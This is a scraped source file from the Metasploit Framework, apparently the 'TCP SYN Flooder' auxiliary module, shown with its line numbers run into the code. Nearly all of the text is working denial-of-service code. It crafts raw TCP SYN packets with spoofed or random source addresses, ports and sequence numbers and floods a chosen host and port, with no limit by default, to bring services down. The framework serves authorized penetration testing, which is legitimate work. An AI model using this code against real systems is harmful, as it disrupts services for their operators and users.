Path: blob/master/modules/auxiliary/dos/tcp/synflood.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Capture7include Msf::Auxiliary::Dos89def initialize10super(11'Name' => 'TCP SYN Flooder',12'Description' => 'A simple TCP SYN flooder',13'Author' => 'kris katterjohn',14'License' => MSF_LICENSE,15'Notes' => {16'Stability' => [CRASH_SERVICE_DOWN],17'SideEffects' => [],18'Reliability' => []19}20)2122register_options([23Opt::RPORT(80),24OptAddress.new('SHOST', [false, 'The spoofable source address (else randomizes)']),25OptInt.new('SPORT', [false, 'The source port (else randomizes)']),26OptInt.new('NUM', [false, 'Number of SYNs to send (else unlimited)'])27])2829deregister_options('FILTER', 'PCAPFILE')30end3132def sport33datastore['SPORT'].to_i.zero? ? rand(1..65535) : datastore['SPORT'].to_i34end3536def rport37datastore['RPORT'].to_i38end3940def srchost41datastore['SHOST'] || [rand(0x100000000)].pack('N').unpack('C*').join('.')42end4344def run45open_pcap4647sent = 048num = datastore['NUM'] || 04950print_status("SYN flooding #{rhost}:#{rport}...")5152p = PacketFu::TCPPacket.new53p.ip_saddr = srchost54p.ip_daddr = rhost55p.tcp_dport = rport56p.tcp_flags.syn = 15758while (num <= 0) || (sent < num)59p.ip_ttl = rand(128..255)60p.tcp_win = rand(1..4096)61p.tcp_sport = sport62p.tcp_seq = rand(0x100000000)63p.recalc64break unless capture_sendto(p, rhost)6566sent += 167end6869close_pcap70end71end727374